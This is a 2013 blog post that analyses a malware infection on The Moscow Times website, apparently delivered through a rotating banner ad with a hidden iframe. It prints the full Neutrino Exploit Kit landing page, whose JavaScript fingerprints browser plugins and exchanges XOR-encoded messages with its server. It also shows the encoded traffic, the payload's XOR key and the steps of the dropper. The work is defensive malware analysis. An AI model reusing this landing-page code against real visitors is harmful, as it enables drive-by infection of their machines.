Sunday, October 6, 2013

Into the Maw - Hunting Malware on The Moscow Times Website

Hello, internets! I was recently contacted by @CwacCwac on Twitter with some information about malware being delivered via The Moscow Times website. He sent me a pcap, so I started digging. I had a lot of fun with it, and it's been far too long since I've written a blog post, so here we are. Let's get started...

The Entry Vector


CwacCwac told me that he wasn't always getting the page to deliver the malware, so that immediately made me think the entry vector was either something with a time or cookie-based redirect, maybe CookieBomb or Darkleech, or a rotating banner ad of some kind. As it turns out, it was the latter.

themoscowtimes.com occasionally pulls banners from motoway.tw. In this case, one of the banners contains a 1x1 pixel iframe with a source tag pointing to the landing page. You can see it in the wireshark snapshot below:


We can see that it's pointing to a landing page hosted on hxxp://ueftxfdkimekssi.dynathome.net.

The Landing Page


Following the traffic to the landing page gives away several pieces of information, seen below (Thanks to @MalForSec for being such a valuable resource!). The landing page is Neutrino Exploit Kit 
<html>
<head>
.<link href='nqysfzegyysshnu.css' rel='stylesheet'><link href='vyyuefapf.css' rel='stylesheet'><link href='qmhfiuvhnb.css' rel='stylesheet'>
.<link href='scbepbmaytlt.css' rel='stylesheet'><link href='vcehdnzg.css' rel='stylesheet'><link href='gkalbgu.css' rel='stylesheet'>
.<script src='hgqzyxntijrhe.js'></script><script src='melsrceyhntdugf.js'></script>
.<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>.
.<script src='niongmaaukrbooot.js'></script><script src='gkck.js'></script>
.<script type="text/javascript" src="index.js"></script> //index.js here is PluginDetect v8.0
.<script src='xboshtugh.js'></script><script src='uujgv.js'></script>
</head>
<body>
  <script type="text/javascript">
  var _doc = document;
  function req(a, b, c, d, e) {
   var m = PluginDetect.getVersion, //SecMem - Using PluginDetect to detect plugin versions
    n = decodeURIComponent,
    p = encodeURIComponent,
    h = xor,
    ov = office_ver,
    g = [{
     adobe_reader: "AdobeReader"
    }, {
     java: "Java"
    }, {
     flash: "Flash"
    }, {
     quick_time: "QuickTime"
    }, {
     real_player: "RealPlayer"
    }, {
     shockwave: "Shockwave"
    }, {
     silver_light: "Silverlight"
    }, {
     vlc: "VLC"
    }, {
     wmp: "WMP"
    }],
    f = [];
   f.push("hid:::" + a);
   for (var k in g)
    for (var l in g[k]) f.push(l + ":::" + m(g[k][l]));


   f.push("of"+"fi"+"ce:"+"::" + ov());
   a = {};
   a[d] = c;
   a[e] = p(h(f.join(";;"+";"), c)); //SecMem - Join the array with ;;;, then XOR data, then encode data, then POST the data.
   $.post(b, a, function (a, b) {
    $("b"+"o"+"d"+"y").append(h(n(a), c)) //SecMem - This is the function that's going to decode commands via XOR and urldecode. Looks like this when variables replaced: xor(decodeURIComponent(a), c)) where a and c are used in the XOR function below.
   })
  }

  function xor(a, b) {
   for (var c = "", d = 0, e = 0, d = 0; d < a.length; d++) e = Math.floor(d % b.length), c += String.fromCharCode(a.charCodeAt(d) ^ b.charCodeAt(e));
   return c
  }

  function office_ver() {
   var a = 0,
    b = 0;
   try {
    a = new ActiveXObject("SharePoint.OpenDocuments.4")
   } catch (c) {}
   try {
    b = new ActiveXObject("SharePoint.OpenDocuments.3")
   } catch (d) {}
   return "object" == typeof a && "object" == typeof b ? "2010" : "number" == typeof a && "object" == typeof b ? "2007" : null
  };  


  $(_doc).ready(function () {
   req("524e888caea2cc69190294b5", "tmzhlxglvpj", "ewkipl", "qvlajrdth", "wtfqgj") //SecMem - These are the variables passed into the function req() - a, b, c, d, and e respectively
  });
 </script>
 <img src='fbdt.jpg'><img src='mpxwsiedgfry.jpg'><img src='ttsvonfvi.jpg'> //SecMem - These image links will trigger GET requests for C2 commands later on.
 <img src='qaggrsvppo.png'><img src='rezjcnuvgnrvb.png'><img src='jlnwbndifweu.jpg'><img src='sfkwetzsouzcl.png'>
</body>
</html>

Encoded Communication


Once the landing page figures out what plugins the browser has and all the other objects are done loading (img tags, etc.), it forms a POST request using part of function req(). Before the POST request gets XORed and urlencoded, it looks like this:

hid:::524e888caea2cc69190294b5;;;adobe_reader:::8,1,2,0;;;java:::1,6,0,31;;;flash:::10,3,183,29;;;quick_time:::null;;;real_player:::null;;;shockwave:::null;;;silver_light:::null;;;vlc:::null;;;wmp:::null;;;office:::2010
Once it's XORed and encoded it looks like this:
qvlajrdth=ewkipl&wtfqgj=%250D%251E%250FSJVPE_%250CHT%255D%2514%250A%250C%2511%255E%2506%2514%2
55DPAUUER%255D%2512Y%255ELP%2508%2514%2503%2507%25124%251B%2515%250D%2501%2512%2519SJV%255D%255BZEB%2540ULPR%251A%250
D%2513%2516QSJ%255DIAGY%255C_TLPR%2516%2500%2504%2504%2503SJVTGGZ%255C%255D%255DDG%255BIW%255EL%251A%251C%2519%250F%2
50E(%251F%2500%251D%2509_MQ%2507%2505%2500%2509LPR%2502%2509%2504%251B4%2519%251C%250D%251C%2512%2519SJV%250B%2502%25
07%2505KW%255E%2504%2503%2506%2513%2507%2512%2516%251D%250CJV_%2519%251E%2505%251CW%255EL%2518%2500%251C%251A%2500%25
054%2505%2519%250B%250D%2503QSJ%2502%2510%251B%2507RKW%2513%251B%2508SJV%250B%2502%2507%2505KW%255E%2500%2506%2519JV_
%2519%251E%2505%251CW%255EL%2504%250F%2516%2505%2506%2512QSJ%255EUF%255B
The POST request is made to the server using the above data, to which the server responds with:
Y%16%1B%19%1C%09%11W%0A%1B%13%04%0C%01%0ETW%04%11%03%1BS_C%10%12%0D%1D%08%0A%01%1C%02%04%15%07%16%
04%02G%14%15%0B%16%1F%01%1F%01Y%05%0C%04V%5DG%5BY_%1E%04%12%0D%1B%04%05%01%18%04%04%0A%03%17H%01%04%04%1C%14%0D%07
%18%1AQ%12%1C%13%06%19%01%0B%10LI%13%03%01%12VN1%02%0C%1ALI%07%05%01%03%03TW%5DUPK%01%15%05%02%1F%1FTW%5DUPUcyel~bU%0
0%0D%17%16%06I%1E%0D%08%12VN%15%14%14LI%06%0D%09%02%0ETW%0D-
%25%5B%0A4%03%13%3BX%3F%1C6%0B%25_3%1D%3E%17%16%3CX%1C%0DV9%11%08%23Y%0E%12%3C%5C%18%08%22%1F%1D%0B%279%10%15%06%3F%4
0%23%0F%10%1C%244-%13-%06%5C%0A%0E%229%05%084U%14-
%3C%01A%0DV%1B%1D%0AB%22%0F%273%0D%02%09%22N%1B%0B%27Y%0BPUcyel~bU%0D%17%16%06I%1E%0D%08%12VN%08%07%0ELI%06%0D%
09%02%0ETW%01%15%1F%01NNfl~b%60LC%04%07%1B%05%15%18%5B

The .jar file


I had some issues decoding the response, but given what I know about Neutrino, I know it likely decodes to a java applet that points to a .jar file. Thankfully that was easy to verify because the very next GET request was for a .jar file, which is seen here:


I am not sure what CVE this .jar file exploits, but here's the VT report for it: https://www.virustotal.com/en/file/d24602c5eae8590eca13cb7cfb76249d6ec0baa6fdcbfe241f6ea4612dfd1761/analysis/1381056472/

The Encoded Payload and Decoded Dropper


Following the .jar GET request, there's another GET request for what we can safely assume a binary payload. However, it doesn't look like an exe at first:


Doesn't look like an exe, however it should be pretty easy to tell that it's been XORed. Thankfully the XOR key is really simple. A little trial and error to find the XOR key and we get 6D 70 68 6A. After XORing the file with that key, it becomes much more familiar looking:


The decoded payload has a decent detection rate on VirusTotal as well:
https://www.virustotal.com/en/file/48779f22e3788f610804d3edf0c5a0a24073534d32f8771a8a5ab2a9c5ffa6b3/analysis/1381057358/

The Dropper in Action


Based on some quick analysis, this exe appears to be a dropper. A new file named ldhpywws.exe is created under %userprofile%\Local Settings\Temp\. Below are screenshots the dropper subroutine in IDA Pro, and the actual file about to be dropped in OllyDbg.

IDA Pro, dropper subroutine:

OllyDbg, prior to the actual file drop:

Moments later, another file is dropped in the same directory - setup.dat:

I'm unsure the purpose of this file, but the data inside of it is completely unreadable. It's possible it's encrypted data that gets used later. Shortly after the .dat file gets dropped, ldhpywws.exe starts running as a subprocess of the original payload. I don't have the time to do an analysis of that file just yet, but I may be able to get to it soon. We'll see. Hope you enjoyed the read!

-SM

Summary



In a nutshell, here's what I discovered:

No comments:

Post a Comment